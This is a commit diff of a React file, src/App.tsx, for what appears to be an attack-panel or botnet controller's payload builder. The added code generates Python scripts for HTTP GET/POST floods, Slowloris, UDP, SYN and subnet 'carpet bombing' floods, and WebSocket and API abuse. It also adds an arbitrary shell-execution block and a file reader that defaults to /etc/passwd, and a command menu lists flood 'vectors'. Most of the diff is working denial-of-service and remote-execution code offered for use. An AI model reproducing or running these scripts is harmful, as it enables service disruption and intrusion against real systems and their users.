wuhp commited on
Commit
1c61a8c
·
verified ·
1 Parent(s): 74e004d

Update src/App.tsx

Browse files
Files changed (1) hide show
  1. src/App.tsx +128 -60
src/App.tsx CHANGED
@@ -20,7 +20,75 @@ import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, us
20
  import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
21
  import { CSS } from '@dnd-kit/utilities';
22
 
23
- const SortableBlock = ({ id, content, title, desc, onRemove }: any) => {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
25
 
26
  const style = {
@@ -28,21 +96,40 @@ const SortableBlock = ({ id, content, title, desc, onRemove }: any) => {
28
  transition,
29
  };
30
 
 
 
 
31
  return (
32
- <div ref={setNodeRef} style={style} className="flex items-center gap-2 mb-2 group">
33
- <div {...attributes} {...listeners} className="cursor-grab active:cursor-grabbing p-2 bg-black/20 hover:bg-black/40 rounded-lg text-slate-500 border border-transparent hover:border-white/5 transition-all">
34
- <GripVertical size={16} />
35
- </div>
36
- <div className="flex-1 border border-white/5 bg-black/30 rounded-xl p-3 flex justify-between items-center group-hover:border-indigo-500/30 transition-all">
37
- <div>
38
- <div className="text-sm font-bold text-white mb-0.5">{title}</div>
39
- <div className="text-xs text-slate-400 font-mono overflow-hidden text-ellipsis whitespace-nowrap max-w-[200px]">
40
- {content.split('\\n')[0]}...
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41
  </div>
42
  </div>
43
- <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-2 rounded-lg hover:bg-red-400/10">
44
- <Trash2 size={16} />
45
- </button>
46
  </div>
47
  </div>
48
  );
@@ -515,7 +602,7 @@ function BuilderTab() {
515
  const [payloadsList, setPayloadsList] = useState<any[]>([]);
516
 
517
  // Drag and Drop State
518
- const [blocks, setBlocks] = useState<{id: string; title: string; content: string}[]>([]);
519
 
520
  const sensors = useSensors(
521
  useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
@@ -533,8 +620,16 @@ function BuilderTab() {
533
  }
534
  };
535
 
536
- const addBlock = (title: string, content: string) => {
537
- setBlocks([...blocks, { id: crypto.randomUUID(), title, content }]);
 
 
 
 
 
 
 
 
538
  };
539
 
540
  const removeBlock = (id: string) => {
@@ -542,7 +637,10 @@ function BuilderTab() {
542
  };
543
 
544
  const compileBlocks = () => {
545
- setResult(blocks.map(b => b.content).join('\\n\\n'));
 
 
 
546
  };
547
 
548
  useEffect(() => {
@@ -717,46 +815,12 @@ function BuilderTab() {
717
  <div className="flex flex-col gap-2">
718
  <p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
719
  <div className="grid grid-cols-2 gap-2">
720
- <div onClick={() => addBlock('HTTP GET Probe', 'def exec_fetch_http_test(ip, port):\\n import requests, time\\n try:\\n url = f"http://{ip}:{port}/"\\n t0 = time.time()\\n res = requests.get(url, timeout=3)\\n return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}\\n except Exception as e:\\n return {"status": "error", "detail": str(e)}')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
721
- <div className="text-xs font-bold text-indigo-300">HTTP Probe</div>
722
- <div className="text-[10px] text-slate-400 mt-1">Lightweight connectivity check.</div>
723
- </div>
724
- <div onClick={() => addBlock('TCP Handshake', 'def exec_socket_tcp_probe(ip, port):\\n import socket, time\\n try:\\n t0 = time.time()\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n s.settimeout(2)\\n s.connect((ip, int(port)))\\n return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}\\n except Exception as e:\\n return {"status": "tcp_failed", "detail": str(e)}')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
725
- <div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
726
- <div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
727
- </div>
728
-
729
- <div onClick={() => addBlock('L7 HTTP GET Flood', 'def exec_http_get_flood(url, duration, threads_count):\\n import threading, time, requests\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n requests.get(url, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
730
- <div className="text-xs font-bold text-rose-300">L7 HTTP GET Flood</div>
731
- <div className="text-[10px] text-slate-400 mt-1">Concurrent URL GET requests.</div>
732
- </div>
733
- <div onClick={() => addBlock('L7 HTTP POST Flood', 'def exec_http_post_flood(url, duration, threads_count):\\n import threading, time, requests, os\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n requests.post(url, data=os.urandom(16), timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
734
- <div className="text-xs font-bold text-rose-300">L7 HTTP POST Flood</div>
735
- <div className="text-[10px] text-slate-400 mt-1">Concurrent URL POST requests.</div>
736
- </div>
737
-
738
- <div onClick={() => addBlock('L7 Slowloris', 'def exec_slowloris(ip, port, duration, threads_count):\\n import socket, threading, time, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def slowloris_worker():\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(4)\\n s.connect((ip, int(port)))\\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\\\r\\\\n".encode())\\n s.send("User-Agent: Mozilla/5.0\\\\r\\\\n".encode())\\n s.send("Accept-language: en-US,en,q=0.5\\\\r\\\\n".encode())\\n stats["sent"] += 1\\n while time.time() < t_end:\\n s.send(f"X-a: {random.randint(1,5000)}\\\\r\\\\n".encode())\\n time.sleep(10)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=slowloris_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start(); time.sleep(0.05)\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
739
- <div className="text-xs font-bold text-rose-300">L7 Slowloris</div>
740
- <div className="text-[10px] text-slate-400 mt-1">Keeps connections open very slowly.</div>
741
- </div>
742
- <div onClick={() => addBlock('L7 API Abuse', 'def exec_api_abuse_flood(url, duration, threads_count):\\n import threading, time, requests, json, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n payload = {"query": "test", "id": random.randint(1,99999)}\\n requests.post(url, json=payload, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
743
- <div className="text-xs font-bold text-rose-300">L7 API Abuse</div>
744
- <div className="text-[10px] text-slate-400 mt-1">REST API hammering with JSON.</div>
745
- </div>
746
- <div onClick={() => addBlock('L7 Cache Bypass', 'def exec_cache_bypass_flood(url, duration, threads_count):\\n import threading, time, requests, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n b_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())\\n requests.get(b_url, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
747
- <div className="text-xs font-bold text-rose-300">L7 Cache Bypass</div>
748
- <div className="text-[10px] text-slate-400 mt-1">Randomized strings to hit origin.</div>
749
- </div>
750
-
751
- <div onClick={() => addBlock('L4 UDP Flood', 'def exec_udp_flood(ip, port, duration, packet_size):\\n import socket, time, os\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n bytes_to_send = os.urandom(int(packet_size))\\n t_end = time.time() + float(duration)\\n sent = 0\\n while time.time() < t_end:\\n s.sendto(bytes_to_send, (ip, int(port)))\\n sent += 1\\n return {"status": "udp_flood_finished", "packets_sent": sent}\\n except Exception as e:\\n return {"status": "udp_flood_failed", "detail": str(e)}')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
752
- <div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
753
- <div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
754
- </div>
755
-
756
- <div onClick={() => addBlock('L4 TCP Connect', 'def exec_tcp_connect_flood(ip, port, duration, threads_count):\\n import socket, threading, time\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(1)\\n s.connect((ip, int(port)))\\n s.close()\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
757
- <div className="text-xs font-bold text-rose-300">L4 TCP Connect</div>
758
- <div className="text-[10px] text-slate-400 mt-1">Max rate TCP handshakes.</div>
759
  </div>
 
760
  </div>
761
  </div>
762
  ) : (
@@ -822,7 +886,7 @@ function BuilderTab() {
822
  <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
823
  <SortableContext items={blocks} strategy={verticalListSortingStrategy}>
824
  {blocks.map((block) => (
825
- <SortableBlock key={block.id} {...block} onRemove={removeBlock} />
826
  ))}
827
  </SortableContext>
828
  </DndContext>
@@ -1237,7 +1301,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1237
  const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
1238
  const requiresFloodArgs = command === 'network_flood';
1239
  const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
1240
- const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood'].includes(floodType));
1241
  const requiresPorts = command === 'port_scan';
1242
  const requiresInterval = command === 'change_poll_interval';
1243
  const requiresShell = command === 'exec_shell';
@@ -1421,15 +1485,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
1421
  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
1422
  >
1423
  <optgroup label="L7 Vectors (Application)">
1424
- <option value="http_get_flood">HTTP GET Flood</option>
1425
- <option value="http_post_flood">HTTP POST Flood</option>
1426
  <option value="slowloris">Slowloris (TCP Exhaustion)</option>
 
1427
  <option value="api_abuse_flood">API Abuse Flood</option>
1428
  <option value="cache_bypass_flood">Cache Bypass Flood</option>
 
1429
  </optgroup>
1430
  <optgroup label="L4 Vectors (Transport)">
1431
  <option value="udp_flood">UDP Raw Datagram Flood</option>
1432
  <option value="tcp_connect_flood">TCP Connect Flood</option>
 
 
1433
  </optgroup>
1434
  </select>
1435
  </div>
 
20
  import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
21
  import { CSS } from '@dnd-kit/utilities';
22
 
23
+ const BLOCK_CONFIGS: Record<string, any> = {
24
+ http_probe: {
25
+ title: 'HTTP GET Probe', color: 'bg-indigo-600',
26
+ fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
27
+ generator: (p: any) => `def exec_fetch_http_test(ip, port):\n import requests, time\n try:\n t0 = time.time()\n res = requests.get(f"http://{ip}:{port}/", timeout=3)\n return {"status": f"HTTP_{res.status_code}"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))`
28
+ },
29
+ tcp_handshake: {
30
+ title: 'TCP Handshake', color: 'bg-indigo-600',
31
+ fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
32
+ generator: (p: any) => `def exec_tcp_probe(ip, port):\n import socket, time\n try:\n t0 = time.time()\n with socket.socket(socket.AF_INET, socket.STREAM) as s:\n s.settimeout(2); s.connect((ip, int(port)))\n return {"status": "tcp_connected"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))`
33
+ },
34
+ exec_shell: {
35
+ title: 'Execute Shell', color: 'bg-emerald-600',
36
+ fields: [{key: 'cmd', label: 'Command', default: 'whoami'}],
37
+ generator: (p: any) => `def exec_shell(cmd):\n import subprocess\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(exec_shell("${p.cmd}"))`
38
+ },
39
+ ping: {
40
+ title: 'ICMP Ping', color: 'bg-indigo-600',
41
+ fields: [{key: 'host', label: 'Target Host', default: 'google.com'}],
42
+ generator: (p: any) => `def icmp_ping(host):\n import subprocess, platform\n cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(icmp_ping("${p.host}"))`
43
+ },
44
+ read_file: {
45
+ title: 'Read File', color: 'bg-blue-600',
46
+ fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}],
47
+ generator: (p: any) => `def read_file(path):\n try:\n with open(path, 'r') as f: return {"content": f.read(4000)}\n except Exception as e:\n return {"error": str(e)}\n\nprint(read_file("${p.path}"))`
48
+ },
49
+ http_get_flood: {
50
+ title: 'L7 HTTP GET Flood', color: 'bg-rose-600',
51
+ fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
52
+ generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))`
53
+ },
54
+ http_post_flood: {
55
+ title: 'L7 HTTP POST Flood', color: 'bg-rose-600',
56
+ fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
57
+ generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n import threading, time, requests, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))`
58
+ },
59
+ slowloris: {
60
+ title: 'L7 Slowloris', color: 'bg-rose-600',
61
+ fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
62
+ generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n import socket, threading, time, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.05)\n for t in threads: t.join()\n return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
63
+ },
64
+ api_abuse_flood: {
65
+ title: 'L7 API Abuse', color: 'bg-rose-600',
66
+ fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
67
+ generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))`
68
+ },
69
+ udp_flood: {
70
+ title: 'L4 UDP Flood', color: 'bg-orange-600',
71
+ fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}],
72
+ generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n import socket, time, os, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(int(packet_size))\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))`
73
+ },
74
+ syn_flood: {
75
+ title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600',
76
+ fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
77
+ generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
78
+ },
79
+ carpet_bombing: {
80
+ title: 'L4 Carpet Bombing', color: 'bg-orange-600',
81
+ fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
82
+ generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n import socket, time, os, threading, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(512)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n target_ip = subnet + str(random.randint(1, 254))\n try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))`
83
+ },
84
+ websocket_flood: {
85
+ title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
86
+ fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
87
+ generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
88
+ }
89
+ };
90
+
91
+ const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => {
92
  const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
93
 
94
  const style = {
 
96
  transition,
97
  };
98
 
99
+ const config = BLOCK_CONFIGS[type];
100
+ if (!config) return null;
101
+
102
  return (
103
+ <div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative">
104
+ <div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}>
105
+ <div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}>
106
+ <GripVertical size={16} />
107
+ </div>
108
+ <div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all">
109
+ <div className="flex justify-between items-center mb-3">
110
+ <div className="flex items-center gap-2">
111
+ <span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} />
112
+ <span className="text-sm font-bold text-slate-100">{config.title}</span>
113
+ </div>
114
+ <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10">
115
+ <Trash2 size={14} />
116
+ </button>
117
+ </div>
118
+
119
+ <div className="bg-slate-900/50 rounded-lg p-3 grid gap-3">
120
+ {config.fields.map((f: any) => (
121
+ <div key={f.key} className="flex items-center gap-3">
122
+ <label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label>
123
+ <input
124
+ type="text"
125
+ value={params[f.key] || ''}
126
+ onChange={(e) => onUpdate(id, f.key, e.target.value)}
127
+ className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner"
128
+ />
129
+ </div>
130
+ ))}
131
  </div>
132
  </div>
 
 
 
133
  </div>
134
  </div>
135
  );
 
602
  const [payloadsList, setPayloadsList] = useState<any[]>([]);
603
 
604
  // Drag and Drop State
605
+ const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]);
606
 
607
  const sensors = useSensors(
608
  useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
 
620
  }
621
  };
622
 
623
+ const addBlock = (type: string) => {
624
+ const config = BLOCK_CONFIGS[type];
625
+ if (!config) return;
626
+ const initialParams: any = {};
627
+ for (const f of config.fields) initialParams[f.key] = f.default;
628
+ setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]);
629
+ };
630
+
631
+ const updateBlockParams = (id: string, key: string, value: string) => {
632
+ setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b));
633
  };
634
 
635
  const removeBlock = (id: string) => {
 
637
  };
638
 
639
  const compileBlocks = () => {
640
+ setResult(blocks.map(b => {
641
+ const config = BLOCK_CONFIGS[b.type];
642
+ return config ? config.generator(b.params) : '';
643
+ }).join('\\n\\n'));
644
  };
645
 
646
  useEffect(() => {
 
815
  <div className="flex flex-col gap-2">
816
  <p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
817
  <div className="grid grid-cols-2 gap-2">
818
+ {Object.entries(BLOCK_CONFIGS).map(([type, config]) => (
819
+ <div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}>
820
+ <div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div>
821
+ <div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
822
  </div>
823
+ ))}
824
  </div>
825
  </div>
826
  ) : (
 
886
  <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
887
  <SortableContext items={blocks} strategy={verticalListSortingStrategy}>
888
  {blocks.map((block) => (
889
+ <SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} />
890
  ))}
891
  </SortableContext>
892
  </DndContext>
 
1301
  const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
1302
  const requiresFloodArgs = command === 'network_flood';
1303
  const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
1304
+ const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood'].includes(floodType));
1305
  const requiresPorts = command === 'port_scan';
1306
  const requiresInterval = command === 'change_poll_interval';
1307
  const requiresShell = command === 'exec_shell';
 
1485
  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
1486
  >
1487
  <optgroup label="L7 Vectors (Application)">
1488
+ <option value="http_get_flood">HTTP/1.1 GET Flood</option>
1489
+ <option value="http_post_flood">HTTP/1.1 POST Flood</option>
1490
  <option value="slowloris">Slowloris (TCP Exhaustion)</option>
1491
+ <option value="slow_post_flood">Slow POST (Body Exhaustion)</option>
1492
  <option value="api_abuse_flood">API Abuse Flood</option>
1493
  <option value="cache_bypass_flood">Cache Bypass Flood</option>
1494
+ <option value="websocket_flood">WebSocket Abuse</option>
1495
  </optgroup>
1496
  <optgroup label="L4 Vectors (Transport)">
1497
  <option value="udp_flood">UDP Raw Datagram Flood</option>
1498
  <option value="tcp_connect_flood">TCP Connect Flood</option>
1499
+ <option value="syn_flood">SYN Flood (Requires Root)</option>
1500
+ <option value="carpet_bombing">Carpet Bombing (Subnet)</option>
1501
  </optgroup>
1502
  </select>
1503
  </div>